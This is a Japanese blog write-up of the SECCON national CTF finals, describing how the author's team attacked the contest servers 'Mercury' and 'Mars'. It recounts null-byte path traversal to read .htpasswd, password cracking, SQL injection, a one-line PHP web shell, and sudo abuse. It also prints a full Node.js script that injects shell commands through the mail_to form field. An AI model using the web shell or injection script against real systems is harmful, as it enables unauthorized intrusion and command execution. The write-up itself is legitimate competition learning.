読者です 読者をやめる 読者になる 読者になる

#SECCON 全国大会に行ってきました

CTF

SECCON 全国大会のアレ

SECCON 全国大会にチーム0x0として参加しました。優勝うれしいです。
以下、簡単ですが Writeup です。

Mercury

stage1

stage2 というディレクトリがあることが分かっていました。
しかし stage2 には Basic 認証が掛かっており、ユーザ名とパスワードが分からなければログインできません。
そこで、何とかユーザ名とパスワードを手に入れる必要がありました。
stage1 には lang という GET パラメータを投げると、$_GET['lang'] . '.txt' (実際は Perl でしたが)を読みに行って表示してくれるアプリケーションがありました。
ここで、/stage2/.htaccess/stage2/.htpasswdを読みに行けばいいんじゃないかと思い、lang に stage2/.htpasswd%00 という値を渡したところ、しっかりと表示してくれました。
.htpasswd に書いてあるものを @waidotto が John に突っ込んで、/stage2 にログインするためのユーザ名とパスワードが分かりました。

stage2

stage2 は、フォームに名前を入力すると、DBからその名前にマッチするユーザを検索してきて、パスワードとかを表示してくれるヤツでした。
3人ほどユーザがいましたが、パスワードは * で表示されており、このままでは文字数しか分かりません。
stage1 の脆弱性を利用して、stage2 の cgi の中身を読むと、DBから返ってくるデータをちょこまかするとパスワードが普通に表示されそうな雰囲気。
UNION 使いそうだなーと思って調べている間に、@superbacker さんがパスワード表示に成功していました。
パスワードを見ると、/stage3xYz というパスに stage3 の問題があることが分かりました。

stage3

画像アップローダでした。
php ファイルをアップロードしたら動いてしまいました。
コードの中身はこんな感じのごく普通なものです。

<?php
system($_GET['cmd']);

このスクリプトで Mercury は丸裸同然ですが、まだ FLAG を書き込めていません。

FLAG書き込み

stage3 のスクリプトで、sudoers を見ると、
・ユーザ stage4 はパスワード無しで stage5 になれて
・その権限で vi のみ起動できる
ことが分かりました。
FLAG ファイルの持ち主は stage5 だったので、これを利用して FLAG を書き込むのだろうと思いましたが、どうやって vi を起動するのかが問題でした。
しばらくここで躓いていましたが、@wasao と考えていたところ、自分の ssh 公開鍵を stage4 の ~/.ssh/authorized_keys に置けばいいことが分かりました。
stage3 の脆弱性を利用して公開鍵を書き込みましたが、何故か弾かれる。
@superbacker さんに聞いたところ、単に URL エンコードを忘れて、+ が空白として解釈されている事が分かりました。それを修正すると、ssh 接続に成功しました。
その後、ssh 接続を数秒で切られるという妨害に幾度となく遭いましたが、vimmer の @waidotto の助けにより無事 FLAG を書き込むことに成功しました。
なんかすごく複雑なコマンドを使っていたので、気になる方は @waidotto に聞いてください。僕には理解不能でした。

Mars

ほぼ @nullmineral くんの成果です。
アクセスするとお問い合わせフォームが出てきます。
部署と自分のメールアドレス、コメント等が入力でき、送信すると「ありがとうございます」という画面が表示された後、またお問い合わせフォームに戻ってきます。
お問い合わせをすると、選択した部署に、コメントとお問い合わせした人のメールアドレスがメールで送らるのだろうと推測、そして部署に送られるメールに何か機密情報が入っているのではないかと思いました。
そこで、部署ではなく自分にメールを送るように仕向けようとしましたが、そもそも問題サーバは外部ネットワークにつながれてないという基本的なことに気づき、断念。
会場でメールサーバを建てようともしましたが、時間が掛かりすぎるということで却下。
その後、@nullmineral くんと @wasao と僕で悩み続け、@nullmineral くんが、特定の条件を満たすと任意のコマンドを実行できることを発見しました。
そこで次のようなコードを書き、どんどん Mars 攻略を進めました。

var http = require('http'),
    url = require('url'),
    querystring = require('querystring');

var parsedURL = url.parse('http://[Server IP]/cgi-bin/message.cgi'),
    body = { 
        name: 'fugafuga',
        email: 'hoge@hoge',
        mail_to: 'tech@[Server IP]; echo; echo `' + process.argv[2] + '`', // ここが重要
        comments: 'foofoo'
    };
var postData = querystring.stringify(body);

var reqOptions = {
    host: parsedURL.host,
    port: 80,
    path: parsedURL.pathname,
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': postData.length
    }
};

var req = http.request(reqOptions, function(res) {
    res.setEncoding('utf-8');
    res.on('data', function(data) {
        console.log(res.headers);
        console.log(data);
    });
});

req.write(postData);
req.end();

任意のコマンドが実行できると聞いたとき、テンションが上がりすぎたので、mail_to 以外の場所にコマンドを仕込んで同じことが出来るかを調べるのを忘れました。同じく tech@[Server IP] とする必要があったのかも不明です。
その後、フラグファイルがどこにあるかを突き止め、echo FLAGWORD >> /var/local/web/FLAG することでフラグを書き込むことに成功しました。
フラグを書き込んだ後は、ゆっくりキーワードを探し、submit しました。
今でもキーワードを順番に手に入れる(=正攻法で攻略する)にはどうすればいいのかが分かりません。サーバのイメージを貰ったら挑戦してみます。
なんかすごい条件を見つけた @nullmineral くんに感謝!!

ちなみに、フラッグワードを書き込めてうれしくてうれしくて、調子に乗って FLAG ファイルに以下のネタを書き込もうとしましたが、すんでのところで思いとどまりました。

初カキコ…ども… 

俺みたいな高3でフラッグ書き込んでる腐れ野郎、他に、いますかっていねーか、はは 

今日の会場の会話 
urandomの妨害が激しい とか 0x0がBANされた とか 
ま、それが普通ですわな 

かたや俺は電子の砂漠でフラッグファイルを見て、呟くんすわ 
it'a true falg.狂ってる?それ、誉め言葉ね。 

好きなサーバ Mars 
尊敬するチーム 0x0(DoS行為はNO) 

なんつってる間に1時っすよ(笑) あ~あ、CTFの辛いとこね、これ 

感想

Mercury やってるときが一番冴えてた気がします。
というか urandom の妨害が激しかったです。ssh の接続を切るとかスクリプト全消しとか、なかなかえぐい事をされました。何とか(チームメンバーが)かいくぐりましたが。
一応 Web 要員でしたが、Web 系問題がなくなった後はフラッグ保守要員でした。
手持ちぶさたにならないように、他のジャンルの勉強もしておこうと思います。

1人あたり8本のモンスターエナジーなど、頭のおかしい(褒め言葉)大会でしたが、とても楽しかったです。
実行委員会の皆さん、参加者の皆さん、素晴らしい大会をありがとうございました!